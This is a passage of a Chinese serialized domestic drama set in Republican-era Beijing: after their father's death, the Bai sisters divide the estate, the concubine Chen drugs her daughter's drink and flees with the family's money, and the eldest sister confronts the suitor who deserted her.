白瑾璎猛眨了几下眼睛,等泪意消退了,才硬是挤出一点笑容,故作轻松道:“我刚送你出来,你又要送我进去吗?送来送去,有什么意思?” 蒋牧城便也无声地笑了一笑,说:“我看着你进屋,我的车就停在这附近,一开就可以走。” 白瑾瑜这才朝他挥了挥手,回到屋内,却透过门缝偷偷地往外看,见他在原地站了片刻后,真的转身往洋车的方向走了,才把大门掩上。她装了点心事,正想找白瑾瑜商量一下呢,想不到一走到卧房门口,对面的房门便被人打开了。 白瑾瑜已然换好了睡袍,朝她招了招手,说:“来我屋里,我有事想和你谈呢。” 第23章 第 23 章 那么我们俩,总归可以不…… 白瑾璎朝她走过去, 忍不住为蒋牧城抱了一句不平:“姐姐刚才不该那么说的,蒋二哥忙前忙后,有哪里做错了呢?” 白瑾瑜似乎是应了一声, 这就算是顺着这个台阶下来了, 说:“我也是忙得心烦, 你心疼他辛苦, 我哪里不是一样辛苦呢?就别说我了吧?”抓了白瑾璎的手, 把她往自己房间里拉,“我是真的有要紧事和你商量,进来吧。” 白瑾璎进了房间,才发现屋里的圆桌子上放了好几个盒子, 里头要么放着地契, 要么装着银行的存折本子。边上是一把算盘和拔了笔帽的钢笔, 白纸上已密密麻麻地记了好几页数字,想必白瑾瑜已伏案忙活好一会儿了。 白瑾璎把那几页纸拿在手上, 只看了一眼, 心里就突突地一跳, 问:“这是做什么?把资产账目列得这么清楚, 难道咱们也要走到分开这一地步吗?” 她的口吻无疑带着急迫,白瑾瑜听了倒松了一口气似的, 微笑道:“你会这样问, 就说明全无单过的意思, 这我很欣慰。只是家里有多少财产, 正可以趁此机会盘点清楚,也好提早做万全的准备。瑾璎,我问你,你外公那边怎么说呢?不想接你过去吗?” 白瑾璎在圆桌边坐下, 两手托着下巴道:“外公老早致仕去了国外,现在让我去国外吗?那不能够呀。今天丧礼,我表兄和表嫂也来了,倒是提了一句让我搬去和他们住。但是你想,他们的小孩刚满三岁,正是需要人关注上心的时候,我过去了,对他们而言是个负担不说,硬要我融入他们的小家庭,我自己也觉得怪不自在。” 白瑾瑜点了点头,道:“那么我们俩,总归可以不分开。至于老三,她有亲妈在身边,我是做不了她的主的。” 白瑾璎沉吟了一会儿,也说:“是呀,陈姨太未必愿意和我们继续住在一起,她要是提出带着女儿一道走,难道咱们还能拦着她吗?” 谈到这里,两人无不是沉默,还是白瑾瑜先耸了耸肩,把那无解的烦恼抛在一边,说:“算了,根本也不必我们去操心,她有亲生母亲在呢,还能不把她照顾好吗?对了,关于这宅子,你怎么想呢?我的意思,还是认为搬出去的好。” 白瑾璎当即赞同道:“是,我也想过这一件事:这一处公馆实在太大,要养护好它,打扫的佣人,花匠园丁,司机门房,那就不能缺少。如今爸爸走了,经济来源上,近乎就砍去了一半,没有必要非把钱浪费在住大房子上。” “对,对。”白瑾瑜忍不住地附和,“你和我想到一块儿去了!不光这样,搬家之后,家里的女佣人,我也想换掉的。你看看从前公馆里的日子,多么清闲,已然把佣人养得懒散了,往往做一件事,还要你三催四催,这就不在少数。” 叹了口气接着道:“也是我从前总往外跑,不爱管家里的事,可要是搬去别处,用的人少了,一个人要做的活势必就多,居住的环境呢,那肯定是不如现在的。俗话说由奢入俭难,和先前的日子一对比,佣人心里生怨气,不好好工作不说,主人家看着也心烦。倒不如推翻重来,如今一个手脚勤快的佣人的薪水,比家里那些只少不多的。” 白瑾璎用力点了点头,像是在这悲痛的气氛中,总算有一件事能令人生出一点对未来的期盼似的,说:“就是这样办!” 白瑾瑜伸手盖上了桌上的存折盒子,手指在盒盖上轮流着敲过去,她的脸上虽也带着微笑,却幽幽地说道:“这件事,我们之间是说定了,可你瞧着吧,要说服那位姨太太,可还有一场硬仗要打呢。” 她猜的一点不错,隔天,当陈姨太把两张大致的财产分配清单拿到手里的时候,当即就叫唤起来:“这、这不公平!别的不说,光是地产一项,怎么我们母女俩就顶少?就只有两间宅子?!好哇!老爷一走,你就要把我们孤儿寡母往死了欺压呀!” 白瑾瑜硬是忍着没有给她一个白眼,耐着性子解释道:“你觉得自己分的少,那好,我一笔笔给你算。” “先是房产一项,瑾璎名下的最多,但那都是她母亲带来的嫁妆,当然都留给亲生的女儿。唉,我母亲去世得早,自然什么也没留下,所以连我也是没有的。陈姨太,别人家的嫁妆,你不会想要分一点走吧?” 见陈姨太的脸色慢慢涨红起来,笑了一声,“当然了,要是你来我白家时带了什么私产,也是一样的,依旧归你自己所有。” 陈芳藻噎了一噎,回想她来白家时,除了一箱衣裳和三个月大的肚子,简直可说是两手空空。那些半新不旧的衣服,也早在第二年就被她扔了个干净。 见她暂时无话可说,白瑾瑜接着道,“至于我名下的那些店面,哪一间不是我用自己的本金挣来的?老实告诉你吧,爸爸对银钱是不大上心的,你们那间大点的宅子,还是我管账之后给家里买下的,算是一笔产业上的投资。” 这意思,她们如今能分得这一大一小两座宅子,高低还得给她白瑾瑜道声谢。 陈姨太抓着那几页细目不放,一双眼睛一目十行地转着,誓要从中再抓出一点漏洞似的。 存款那一项,她和瑾琪倒是得的最多,可她又不知足了:她们好歹是两个人呐!于是口中不住地发着凄苦又幽怨的演说:“你们都是大学毕业的人了,倒是轻松,可怜我们瑾琪还是上学的年纪呀!不光没有入账,处处都是需要用钱的地方,这可叫我怎么好!哎呦!” 被她念叨着的白瑾琪本人坐在一边,这时候,倒显出一些从没经历过大风大浪的十七八岁女孩应有的惊惶来。一双蒙着水气的眼睛看看姐姐又看看母亲,知道此间正有一场重大的争执,自己却不敢贸然开口,只能忍着眼泪,把嘴唇倔强地紧闭着。 白瑾璎多少不忍心,也未免陈芳藻再说出什么胡话来气着白瑾瑜,干脆自己先开口道:“爸爸在的时候,薪金丰厚自然不必说,另有许多公司借他军务总长的面子,都会送他干股,每年净拿分红。他一走,那些股份当然也就收回了,故而剩下的除了几处房产,就是这些存款了。” “眼下不过是姑且一分,叫彼此心里有个底。姨太太,要是你情愿和瑾琪一道生活,那就是拿走这么多了;要是往后还是我们四人同住,也就不必对此纠结。” 她的口吻很柔和,倒是可以起到调解的作用,至少陈芳藻不叫唤了。 她把一块绸手帕在手指上缠来绕去,防备似的瞟了对面的白瑾瑜一眼,又抓了白瑾琪的胳膊往自己这边拉,嘟囔说:“人多了,住着也不便横竖,我们娘儿俩是不分开的” 白瑾璎听懂了,笑容里多少透着些无力,说:“存款要按四个人来均分,那不能够,放在哪里也没有这样的分法。考虑到瑾琪还在读书,她大学四年的学费,我们也一并算进去了,所以留给她的存款格外多些。两间宅子,或租或卖,都是一笔来源,此外,想必姨太太也有不少贵重首饰,那也算作你的私产。算来算去,不说过得多么奢华,实在也不必为银钱发愁呀?” 可不是!对于一个姨太太而言,大厦倾塌后能分到一两千块钱已经是不错了,不要说还有宅子首饰。陈芳藻自己也知道这是沾了白瑾琪的光,毕竟白瑾琪可是正统的白家人! 是以,她更要像落水的人扒着浮木一般揪着白瑾琪不放了,好为自己争取更多的利益。 忽然,她脑筋一闪心头一跳,想到什么似的跳起来道:“不对呀!老大,你的洋货进口生意做得那么大,一分没用家里的钱吗?老爷可是给过你不少本钱的吧!这大笔的盈利又怎么算?这还是不公平,得重算!” 到此,白瑾瑜的耐心终于告罄,口中溢出一声冷笑,道:“看不出来,陈姨太的胃口这么大。好啊,那就重算。” 她把陈姨太丢到桌上的细目拿回手里,唰唰两下撕了,一面说:“我手上的外贸生意,是我从无到有一点点做起来的,其中多少辛苦奔波,也不必我多说。不过也是,这世上谁爱受累呢?干脆我也两手一甩地撂担子好了。” 白瑾瑜甩开两手,手上的细目碎片便纷纷扬扬掉了满地,冲陈姨太冷冷地扯了扯嘴角,“只是现在不是账期,开去国外的船也还没回来,我这边一叫停,顺便把贸易公司也关张大吉,那些轮渡费、海关费、遣散费并店铺租赁费,可都是要照价付清的。” “姨太太,不如算算你手上有多少钱,我们一起凑一凑?没理由盈利你想占,损失却不愿意担呀?” 见陈芳藻的脸色一阵阵发白,显然已经在懊悔自己嘴皮子太快。 这一次,白瑾瑜却不想再轻轻放过了,接着道:“你想坐收渔翁之利,行啊,还有一个法子,不如就拿钱入股好了。不过我也提醒你,爸爸人在其位时公司顺风顺水,往后的路未必就是那样好走,弄得不巧,可是要蚀本的。不过投资生意就是这样,哪儿有不担风险的呢?姨太太,你怎么说?我立刻叫人拟一份入股协议。” 陈姨太老早是惨白着一张脸坐回到椅子上,哆嗦着道:“我、我脑子糊涂了,不过是白说一句,白说一句。你是有本事的人,你的那些生意,我哪里懂呀” 那样子,已然是不敢再把脑筋,动到白瑾瑜的头上了。 第24章 第 24 章 你这个死小囡!我得罪她…… 白瑾瑜轻哼一声, 吁了口气算是消气,末了商议起最后的一项,简略说了说想把公馆保存起来, 只留一个园丁一个门房照看, 在座几个则搬出去另住的打算。 经过前头几轮交锋, 陈姨太已经不敢再摆出撒泼跋扈的姿态了, 但是为着实际到手的利益, 还是表示着反对的意见,小声道:“既然是为了节流,那照刚才说的,或卖或租, 不光‘节流, 还能‘开源哩。何苦还要花钱雇两个人照看” 白瑾璎便解释道:“住得起这样大公馆的人家, 何须去租别人的房子?自然是买下来。可是买下了,这白公馆从此以后可就是别人的东西, 不再姓白了。” 她顿了一顿, 才接着道, “都说落叶归根, 这座公馆对于我们而言,总归是类似于根的东西。既然经济情况远没有不堪到那个份上, 还是希望能保留下来, 往后, 也是一个可以相聚的场所。” 陈姨太敢怒不敢言地嘟囔了一句:“这年头谁还时兴这个呀, 在饭店包厢里聚一聚么好了,哪里比得上真金白银来得实在”抬头,见白瑾瑜并白瑾璎两个人都静看着自己,知道她们俩主意已定, 自己是拗不过的,幽怨道,“你们既然都决定好了,再问我又有什么意思呢!唉!” 白瑾瑜倒也大大方方地承认:“我们俩这么想不假,但也想听听大家的意见,如果确有道理,未必不能实行。既然陈姨太觉得没意思,那就是不发表意见了,瑾琪,你怎么想呢?” 自从今天的家庭会议开始进行,白瑾琪就没说过话,此刻白瑾瑜问她的意见,倒引得所有人的目光都落到她身上。 陈芳藻老早捏紧了她的胳膊摇撼一下,那意思无疑是要她站在自己一边。 可甭管她亲妈在边上掐得多用力,白瑾琪咬着嘴唇,最终觑着陈芳藻的脸色,小心翼翼地细声道:“我、我也不想卖” 陈芳藻的脸色果然是不好,闻言狠狠瞪了女儿一眼。白瑾琪胆怯地缩了一缩,眼泪蓄在眼眶里辩解道:“我从小就是在这里长大的,卖了,不就什么都没有了么”实在有种可怜兮兮的舍不得。 既然三个姓白的都想要保留下公馆,陈姨太也就不好再说什么,只能将这气恼咽回到肚子里去。 家庭会议就此结束,陈姨太带着一肚子的火气,紧抱着装了两张地契与存折簿子的小盒子,一路往自己的房间走去。白瑾琪则像是缩着脖子的鹌鹑,亦步亦趋地跟在她身后。 一进房间,还没等当妈的埋怨几句,女儿倒先开口了,细声细气地问道:“妈,咱们真的不和大姐姐她们一道住吗?大姐姐管家那么多年,住在一起,也好彼此照应啊” 白瑾琪虽然有点怵白瑾瑜,但对于这个姐姐的本事,却是很服气的,尤其在她收拾了白齐昌之后,更是能从她身上汲取到许多安全感。 陈芳藻恨铁不成钢似的,伸着手指往她脑袋上戳了好几下,数落道:“你傻呀!咱们已经把她得罪死了,和她一起住,不必说,那一定还是她来掌家,能有你的好果子吃吗?!” 白瑾琪拧着眉头往后躲了躲,小声反驳道:“我哪里得罪她了,平时吵吵架拌拌嘴,也不算得罪” 陈芳藻顿时竖着眉毛尖声道:“你这个死小囡!我得罪她,不等于你也得罪她了吗?难道咱们娘儿俩个还分开算账吗?我看还是分开住的好,自己管自己,至少比从前自由得多啦!” 白瑾琪便垂着脑袋,抿着嘴不吱声。 在她这里,当然愿意和亲妈一起住,只是骤然从四个人的团体分作两个人的小家庭,便仿佛四柱的屋子被抽去两根一般,心理上觉得很不牢靠。何况说一句实话,陈姨太是很懒散的一个人,未来的日子过成怎样,那真要打一个问号。 白瑾琪此刻的心情真可谓百感交集。 一方面,对于这种悬在半空中的没影子的未来感到茫然无措,心里直打鼓。另一方面,存折房产已然分配完毕,自己也要和母亲搬出去住,这些已然都是确定好了的,这便如同一只脚已踩上了坚实的地面,另一只还悬荡在虚空之上。 到底怕生生的,拉过陈姨太的胳膊道:“妈,我晚上来你房间睡吧,晚上公馆里安静得没一点声音,我害怕” 陈姨太看着女儿的大眼睛,水亮得蓄着眼泪似的,再大的火气也不好往她身上发呀,心软了一瞬,说:“唉,咱俩睡就咱俩睡吧,横竖这白公馆,咱们也住不了多少天了。” 当时是这样说,只是人的想法,改变得是很快的。一到晚上,夜深人静,心思就活络起来,陈姨太便感到后悔了。 夜里,白瑾琪已经躺进被窝里睡下了,陈姨太则开了一盏小台灯,坐在梳妆台前盘算存款和首饰。她在白家的日子虽宽裕,手上从没有缺钱的时候,可那也是向家里账房支钱,哪里体会过这大把实在的钞票捏在自己手心里的感觉? 她对钱不大有概念的,只觉得为了对这“大权在握”表示庆祝,先就要好好享受一番!番菜馆,跳舞厅,还要比照着时装画报做一身新旗袍!然后么,最好还是回上海去。 她本来就是由上海来北京的,这一回去,也算是衣锦还乡啦,若是赶巧碰上几个旧相识,说不定还能对她们扬眉吐气哩!再者,如今的上海真可说是摩登的大都市,是灯红酒绿的花花世界,自己本来就爱娱乐的,那不是正合适么?至于瑾琪,让她退掉北京的大学就是了,难道上海没有学校? 不过一想到瑾琪,陈芳藻又愣了,觉得计划似乎不能行通。 白瑾瑜真能允许自己把白瑾琪带去上海? 这个大小姐,做起事来雷厉风行,责任心和控制欲也是重的很。想想从前,她就勒令过自己不许去跳舞厅,更不许带瑾琪去,不然是要不客气的!老爷虽是过世了,可一笔写不出两个白字,她能容忍白瑾琪这个白家人流落在外,跟着自己这个当过舞女的妈? 陈姨太忍不住撇了撇嘴——她倒是没有当面地嘲讽过自己的出身,不过就平日里那趾高气昂,不拿正眼看人的样子,以为她陈芳藻看不出她打心底里瞧不上自己吗? 只是她白瑾瑜本事大,还有这个伯伯那个婶母的愿意相帮她,自己若留在北京,名义上是分开住了,结果不还是在她眼皮子底下、受她的掌控吗? 若是硬要去上海——陈姨太下意识就想到了白瑾瑜对待白齐昌时的气势,上一秒微笑,下一秒就能拍桌,身后两个卫兵站得板板直,把枪杆子摆弄得咔哒咔哒响,心里忍不住觉得胆寒。 她做事情多么狠心绝情哇!要是自己违逆她的意思,指不定那枪杆子,下一次就要抵到我头上来哩! 这样一来,念头便拐进了一个岔道,越想越觉得带着白瑾琪,自己是很受约束的。再一想,多一个人,须得管她吃饭读书添衣,岂不是银钱上也大大受到了限制?干脆不要带她,一样是姓白的,白瑾瑜还真能丢下她这个小妹妹不管么 正想得入神,忽听背后传来一声动静,陈芳藻吓了好大一跳,赶紧把打开的首饰盒子“啪”得阖上,装作收拾桌面的样子,同时扭头往后看。 原来是白瑾琪半夜迷糊着转醒,伸在被窝外的胳膊往旁边一摸,却没摸到人,眯缝着眼睛小声问:“妈,你还没睡啊” 陈芳藻当即道:“马上就睡了。”心里却老大后悔,怎么就答应了女儿睡到自己的房间来!现在不要说卷铺盖逃跑了,自己就是在床上翻个身,这个小囡都要知道的,哪里瞒得过她! 但是下一秒,手指尖碰到了桌上一个小瓶子,陈芳藻一个激灵,又觉得未必就走不脱。 她吁了口气,语调温和地问:“睡不着啊?是不是口渴了?妈妈给你倒杯水喝。”听见白瑾琪小声地“嗯”了一声,便捏着那药瓶子,往房间角落放了保温水瓶的矮柜走去。 那药瓶里装的是安定片,从前陈姨太头疼睡不着的时候吃过一阵子,后来不吃了,放在梳妆台上也就忘了。偏偏这时候摸到,可不正是瞌睡了有人给递枕头吗? 陈姨太从暖水瓶里倒了杯烫水,格外当心地拧开了瓶盖,其间没发出一点声音,把里头的药片倒到手心上时,才发现剩下的都是整片了。 从前自己睡不着时,只吃半片就行,可现在,上哪儿再去找把小刀把药片切一半?当下生出一阵懊恼,恨不得抬脚往地板上剁。然转念又想,不过就差半片的剂量,要什么紧,人家闹自杀,那得吃下足足一瓶呢!报纸上不还报道过,就是吃了一整瓶,也未必死得成呢! 心里一狠,便把整片的安定都扔进了茶杯。 见白色的药片在热水里慢慢化开,陈姨太往杯口吹着凉气,道:“你等等,房间里只要热水,还有点烫哩。” 第25章 第 25 章 她是卷了钱自己跑路,完…… 这一夜, 白瑾琪睡得格外的沉,竟连一个梦也没做。恍惚间只觉得有人不断地摇晃自己,忍着困倦睁开眼睛, 才发现是神色略显焦急的虞妈, 一见她醒了就问:“三小姐, 知道姨太太哪儿去了吗?” 白瑾琪心里一跳, 伸手往旁边的被子上摸, 哪里还有人的影子?又去看墙上的挂壁钟,才知道原来已经是上午十点钟了。 白瑾琪知道自己睡晚了,陈姨太势必比自己起得早,心里纵然有些不安, 还是迟疑着道:“她不在家里吗?不要是出门去了吧, 她平时不也常常出去逛公园看电影的吗?” 虞妈叹了口气, 还是带着忧虑的脸色,道:“当真是这样吗?我在外头敲了半天的门也没有人应, 就自己进来了。姨太太不在房间里, 并且你瞧, 她往日放在梳妆台上的几个首饰盒子, 也都不见了。” 白瑾琪照她说的,扭头去看梳妆台。 她对陈芳藻屋子里的陈设向来不怎么留心, 只觉得台面上的绒面盒子摆得稀稀拉拉的, 确实不该这样少, 并且, 陈姨太每天要用的外国擦脸霜和香粉,竟然也没看见。 这实在是个不好的预兆,只觉得脑子里有一口大钟被狠狠撞了两下,竟生出一阵晕眩。 白瑾琪猛地掀开被子, 手脚并用地爬下床,先就扑向了正对着大床的梳妆台。台面上都是些不值钱的瓶瓶罐罐,她拉开抽屉,抽屉里也只剩几个用来装项链的大首饰盒,至此,白瑾琪的心已经沉了一半,再把盒子打开一看,里头果然是空空如也,那一整颗心,也就石头一般全然地沉底了。 白瑾琪急吸了一口气,含着两汪眼泪又去开衣柜的门,里头倒是满满当当地挂着衣裳,可她伸手翻了一翻,很快便发现陈芳藻平常最喜欢的和最贵重的几件同样是不翼而飞。 这下还有什么不明了的?她是卷了钱自己跑路,完全把自己给抛下了呀! 白瑾琪再也忍不住,捂着脸哇的痛哭起来。 虞妈站在一边,看也看明白了,当下让小丫鬟叫来了白瑾瑜,好一起商量个对策。 白瑾瑜是带着白瑾璎一起来的,她本来计划着今天先去看看要搬去的新居,正在出门的档口上被叫了过来,看见这架势,先就问老三道:“陈姨太先前没和你表露出要走的意思吗?你们昨晚上谈了什么没有?” 不料白瑾琪一味地只是哭,涨红着脸上气不接下气,一句话也说不出来。 她心里固然是伤心极了,自己的亲妈活活把自己抛弃了,世上哪儿还有比这更甚的背叛?更不要说她一股脑卷走了所有钱款,自己现在就是个身无分文的可怜虫,要是大姐姐狠心一点,就是把自己扫地出门,道理也不在她这里哇! 是以白瑾琪不说话,除了出于伤心,更是出于害怕。生怕自己说错哪一句,两个姐姐就真的不要自己了,那她可怎么活呢? 白瑾瑜被她呜呜哭得脑仁疼,知道从她那里是问不出什么来了,便叫来了门房先生。门房先生倒记得很清楚,说:“陈姨太今天老清老早,天儿还蒙蒙亮的时候就出门去哩!” 白瑾瑜拧着眉头,问:“那么早,你没有问几句吗?还有,她带了箱子没有?” 门房先生当即道:“是呀!正是因为她提了个皮箱子,我就问了一句。陈姨太说什么,如今家里不比从前了,她有几件不常用的首饰摆件,想去洋货行卖掉,还有件毛皮大衣,也想去东早市问问价格。我想东早市开得是很早,也就没再多问了。” 见几个小姐都是沉着脸不说话,还以为是自己活做得不细致,又怯怯地追加道:“我看那箱子不小,还问陈姨太要不要用车哩。但陈姨太说不必劳动司机,还能省几个油钱,自己招一辆人力车就行。我也不好多话呀。” 白瑾瑜点了点头,让门房下去了,扭过头狠狠叹出一口气。 白瑾琪哭得累了,此刻软倒在沙发上,靠在虞妈的怀里小声抽泣。听见白瑾瑜叹气,立时像是失去庇护的鹌鹑似的,抖了一下。 在白瑾瑜问话的时候,白瑾璎将屋子里用来存放东西的抽屉橱柜重新又检察了一遍,同样是叹息一声,说:“地契存折和首饰都没了,不必说,她一定是直奔车站,赶早班的火车跑了。只是她会去哪里?唉,不管去哪里,这都过了四五个钟头,我们哪里还追得上?” 白瑾瑜发了一声冷笑,道:“除了上海,她还能去哪里?她不正是由上海来的吗?” 她抱了手臂,掷地有声道,“依我看,不必费事。干脆去警察厅报一个案,再在报纸上登一则携款逃跑的寻人启事,让警察拿着相片子一间一间旅馆去问,她总不能前脚一到上海,后脚就置办房产吧?” 说罢,朝白瑾琪一招手,“好了,别哭了。换身衣服,跟我去一趟警察厅。” 白瑾琪本来睁着一双泪眼,惶惶地将她望着,闻言鼻尖一红,又呜呜地哭出声来,摇着头直往后缩。 去警察厅报案,这多么难堪!何况她该怎么说?陈芳藻只是个姨太太,姨太太卷走家里的钱,那便与小偷无异,自己这个小偷的女儿,又要被人怎么编排呢? 光是这样一想,便觉得灭顶之灾顷刻就要临门,急得忙用求救的目光去看白瑾璎。 好在白瑾璎同样心存疑虑,说:“登报我倒是同意,可是去警察厅报案,怎么报呢?谁也不能一口咬定陈姨太就去了上海呀。不如先去问一问火车站的票务?不过现在正是学生放暑假的末尾,带了孩子去外省的回来,来北京游玩的人回去,即便是清早,来来往往的人也太多了,未必就能记住陈姨太的样貌。” 白瑾瑜思忖了片刻,忽而扭头问白瑾琪道:“老三你说,要不要找?你要是想找,我掘地三尺,总能把陈姨太给你找出来。” 白瑾琪怔了一怔,顿时一股悲凉油然而生。 找到找不到,自己都是被抛弃的那一个,这还能改变吗?找到了又怎么样?真叫警察厅的人来捉走她吗?她一定会这样说:好哇!你这个没情没意的小东西,我拼着命生下你照顾你,到头来你就这样对自己的娘! 白瑾琪真不晓得再见了面,自己该以怎样的面目对她。憎恨她吗?这十七年的朝夕相处,总不是白过的。敬爱她吗?心里扎了根刺,哪儿有这么容易拔掉? 到最后,竟只剩下灰心丧气,心想,干脆再也不要见了吧!不要知道她在哪儿,也就不必看到她的态度,听到她的自白,没有盖棺定论,还能骗骗自己,兴许她心里也在后悔呢? 于是在淌了一脸的眼泪后,竟可怜兮兮地摇了摇头。 白瑾瑜拧着眉头,很有点恨铁不成钢的意味,说:“你可想好了,存折簿子捏在她手上,用钱取钱,我们是一概不知道,也管不了的。真要这样,你那一份钱,可就拿不回来了!” 白瑾琪顿时被捉住了痛脚似的,小脸纠结地皱到一起,肿得核桃似的眼睛里又盈上一波眼泪。可即便如此,还是僵直了脖子咬着唇,没有要推翻前言的意思。 白瑾瑜正感到头疼呢,那边一个小丫鬟跑了过来,说是有找瑾瑜小姐的电话,请小姐去接一接。 横竖白瑾琪迟疑不定,让她自己静一静也好。白瑾瑜抚着额角先去了电话间,到了才知道对面已经挂断了,守着电话机的梅香说:“是一位姓柳的先生打来的,说想约小姐中午在华新路的艾琳咖啡馆见,还说不见不散哩。” 是柳世新。 他总算是露面了,自己也是时候该见一见他了。 白瑾瑜定了定神,恍然间发现,自己的情绪竟是很平静的。但她知道,这是经历了惊涛骇浪之后的平静,和从前早已是不一样了。 她望了眼挂钟,此刻正是将近中午的时刻,而自己为着看新居,也已经换好了外出的衣服,似乎冥冥之中的一切准备,就是等着去做这一件事了。 白瑾瑜让梅香叫来了虞妈,问了问白瑾琪的情况。 虞妈道:“现在倒是不哭了,我出来的时候,二小姐正带着她去洗脸呢。唉,这一次,瑾琪小姐真是够可怜了,谁也想不到这个陈芳藻会把事情做得这样绝呀!”她说着,觑了一眼白瑾瑜的脸色,“大小姐,现在怎么办呢?我想,总不至于真的撇下三小姐不管吧?” 白瑾瑜点了点头,没有作答,而是吩咐道:“我临时有件急事,现在非走一趟不可。你和瑾璎说一声,让她先去看房子吧,等我办完了事,在那里和她汇合。” 虞妈应了一声,却并不走开,眼含希冀地看着她,似乎是在等她的下一句。 白瑾瑜绷着的肩膀忽的放松了,苦笑着叹了一声,道:“还能怎么办?我总不能学她亲妈那样狠心,真让她睡到马路牙子上。好了,再和瑾璎多说一句,看看新房子有没有留给老三的房间,要是没有,我们就再看别的。” 虞妈立刻答应了一声,那离开的脚步,显然要比来时轻快多了。 第26章 第 26 章 我真庆幸没有领了你去见…… 华新路上的艾琳咖啡馆, 白瑾瑜曾和柳世新来过一次,并且在那里引发一场辩论。 辩论当然不是有意而为之,不过是话赶话聊到那里罢了。当时, 柳世新突发感慨道:“想一想结婚以后的生活, 丈夫在早晨出门上班, 妻子带着两个打扮得整洁体面的孩子去公园里玩耍晒太阳, 回家路上买一篮子新鲜蔬菜, 以便先生一回家就能吃上热乎乎的炖菜,那真算得上幸福哩。” 自己当时搅拌着杯子里的咖啡,并不以为然,似乎是说了, “如果这位妻子平素的爱好就是晒晒太阳煮煮饭, 那倒是不坏。不过我看来么, 先生太太一道上班,不要有小孩子, 下班后一起约在饭店里放松地吃饭, 谈一谈工作上的趣事, 不也很好吗?” 柳世新脸上的神态便有一点古怪, 尽管他很快又笑了起来,道:“我刚才说的这种情况, 不过是普世对于幸福的一种理解罢了。” 白瑾瑜无所谓地笑了一笑, 说:“大概是普世对于幸福的一种期望吧。不信你算一算, 要有临近公园的一所房子, 供养两个小孩,既然妻子要带着孩子逛公园,想必是没有在工作的,除此而外, 总要有一个料理家务的老妈子,这样一笔花销可不低,先生们可得加一把劲儿了。” 听她这样说,柳世新就叹了一口气道:“瑾瑜,何必我说什么你都要驳回来呢?这一笔花销再高,总难不倒你我。” 白瑾瑜心道,这哪里是钱的问题,而是两人对幸福一词的看法就不大相同。这世上未必没有不耐烦小孩的女子,也未必没有不爱工作的女子,怎么一进到婚姻的殿堂,就都要做个“普世”的贤妻良母了呢? 这不是为了反驳柳世新,单单只为了阐述自己的看法,仅此而已。 何况柳世新那一声叹息,其用意不同样也是为了堵住自己的话吗? 白瑾瑜顿时大感无趣,也没了谈兴,只耸着肩膀说了一句,“那么,希望那位妻子本身就有不菲的身家吧,不然,等哪一天丈夫想要离婚了,再想要哭,可就来不及了。” 那时的情境大约是这样,如今仔细想一想,他们会走到今日分道扬镳的一步,未必没有提前的预兆。 走进艾琳咖啡馆的时候,柳世新已然在靠窗的位置就座了,看见白瑾瑜在自己对面坐下,很激动地坐正了身体,伸手握了她的手问道:“可算见到你了,你近来怎么样?” 话刚出口,又懊恼地苦笑了一下,“唉,我真问了个傻问题,你一定很不好过的,我看你清减了许多。” 白瑾瑜本来也是瘦了点,今天穿的又是一身黑色的素面旗袍,便加倍显得人纤细轻盈。反观柳世新,精神俊美不变,细看他的脸颊与下颌轮廓,与印象中的样子两相比较,反倒发现他较从前长了肉。 白瑾瑜不说话,只拿一种揶揄的微笑打量着他,这其中的讽刺之意,也就足够人明白了。 柳世新的脸上浮起一片窘色,咬紧了腮帮子隐忍着,好似白瑾瑜意味不明的讽笑刺痛了他,叫他受了屈辱。 片刻后,终于沉痛地开口道:“这段日子我没有联系你,想必你是恨透了我。可你不知道,我是被家里人严格地控制起来了呀!不要说不能出门,连电话机,都有老妈子时刻地把守着,我每日不过被关在屋子里吃饭睡觉,睡也睡不大好,瑾瑜,见不到你,我心焦极了!” 在做这一番真情流露的同时,交握着的手一用力,将白瑾瑜的手拉向自己这一边。 接着道,“你父亲是军务部的总长,他一去世,大概牵涉到许多政治上的党派纠纷,我父母的意思,那是万分凶险的,是以绝不让我去淌这趟浑水。他们的想法自然太过夸张,可态度那样坚决,我这个做儿子的,真能往死里来反抗吗?唉,瑾瑜,我真对你不住,可看在他们是拳拳一片关爱我的份儿上,请你别往心里去。” 说话的同时,那一对深邃多情的眼眸含着希冀,一瞬不瞬地将白瑾瑜望着。 这一刻,白瑾瑜真有些想要发笑:这是生怕得不到谅解,一上来就搬出一个“孝”字压在她头上啊。 只是,她也算是为他伤过心掉过泪了,要是再想不明白,也实在太过愚昧。 白瑾瑜无可无不可地提了提嘴角,说:“人都会想着趋利避害,这没有什么。我那么多的朋友,也不是每一个都来参加葬礼。你要真来了,我固然感念你;你不来,我也很体谅。” 柳世新的脸色一白,急道:“怎么又说到朋友了呢?我们之间是什么关系,你拿朋友来比我吗?” 白瑾瑜的目光放冷,嘴角又挂上那一种揶揄的笑,说:“比一比又何妨?你的作为,哪里比朋友更好呢?”看着对面的人脸上白一阵红一阵,混在一起,成了一种羞恼窘迫的酱色,白瑾瑜竟生出了和上回一般无二的心情,觉得没趣极了。 她不愿再多废话,直白道:“我这一次来,无非也想谈一谈我们的关系。由你刚才的话来看,你父母连电话也不许你打给我一个,可见他们对我是极力反对的,你要做一个孝顺父母的好儿子,这我也赞成。那结果,无非就是牺牲我们的恋爱了,虽然遗憾,也没有更好的法子。” 说着,刚要把自己的手抽回,想不到对面的人握得更紧了,直把她的手握得发疼。 柳世新满脸痛苦不舍的神色,本能地不愿放她离开,低喊着:“不成!不成!未必没有转圜的余地呀,让我和母亲好好说一说——” 柳世新固然是白瑾瑜自己挑选的男友,相貌英俊脾气佳,可越是交往得长久,越发觉出他身上一个要命的缺点来。做事情总是犹豫不决,瞻前顾后,明知道处处受掣肘,还想着要找两全之法。 白瑾瑜是干脆利落的性格,更受不了这样的拖泥带水黏黏糊糊。 反问道:“哪里来的转圜?要是这转圜要用不痛快做代价,那也大可不必。唉,咱们打开天窗说亮话,我猜得到你母亲的态度,她必然是和你说,我没了父亲这个最大的倚仗,家世是大不如前了,不许你上赶着娶我这个无依无靠的孤女,是不是?要是她动作快一点,兴许已经给你安排好相亲的对手方了吧?” 果然,对面柳世新的面皮一红,想必是让她说中了。 在柳世新那一边,事实也确实是如此。柳太太今早还在他耳朵边念叨过:“还好你先前没去见她那个父亲,真是阿弥陀佛!好了,你看看她现在有什么?没了那个总长爸爸,谁还拿她当一回事?”下一秒,那声音又放柔了,“再瞧瞧我儿子这好相貌、好本领,要我说,配真总长的女儿那都是绰绰有余,她那个假的,甭管怎么巴结你,都要赶紧丢开手,听见没有?总之,你要和她结婚,我是绝不同意的!” 